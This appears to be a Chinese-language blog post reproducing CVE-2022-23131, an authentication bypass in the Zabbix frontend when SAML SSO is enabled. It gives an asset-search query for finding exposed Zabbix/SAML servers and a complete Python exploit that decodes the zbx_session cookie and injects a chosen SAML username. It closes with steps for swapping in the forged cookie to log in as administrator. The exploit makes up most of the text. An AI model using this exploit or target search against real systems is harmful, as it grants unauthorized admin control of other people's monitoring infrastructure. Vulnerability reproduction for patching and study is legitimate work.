CVE-2022-23131---Zabbix漏洞复现
Zabbix Sia Zabbix是拉脱维亚Zabbix SIA(Zabbix Sia)公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。
Zabbix Frontend 存在安全漏洞,该漏洞源于在启用 SAML SSO 身份验证(非默认)的情况下,恶意行为者可以修改会话数据,因为存储在会话中的用户登录未经过验证。 未经身份验证的恶意攻击者可能会利用此问题来提升权限并获得对 Zabbix 前端的管理员访问权限。
搜索语法:
1
| title="Zabbix" and body="SAML"
|


Exp:https://github.com/Mr-xn/cve-2022-23131
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import requests import re import urllib.parse import base64 import json import sys
def exp(target, username): resp = requests.get(url=target, verify=False) cookie = resp.headers.get("Set-Cookie")
zbx_session = re.findall(r"zbx_session=(.*?); ", cookie)
url_decode_data = urllib.parse.unquote(zbx_session[0], encoding='utf-8') base64_decode_data = base64.b64decode(url_decode_data)
decode_to_str = str(base64_decode_data, encoding='utf-8')
to_json = json.loads(decode_to_str)
tmp_ojb = dict(saml_data=dict(username_attribute=username), sessionid=to_json["sessionid"], sign=to_json["sign"])
payloadJson = json.dumps(tmp_ojb) print("decode_payload:", payloadJson)
payload = urllib.parse.quote(base64.b64encode(payloadJson.encode())) print("zbx_signed_session:", payload)
if __name__ == "__main__": if len(sys.argv) != 3: print("argv error") exit(0) target = sys.argv[1] username = sys.argv[2]
exp(target, username)
|


利用cookie修改插件或者F12修改,没区别,改完之后点击Sign in with Single Sign-On (SAML)即可绕过认证成功登陆后台
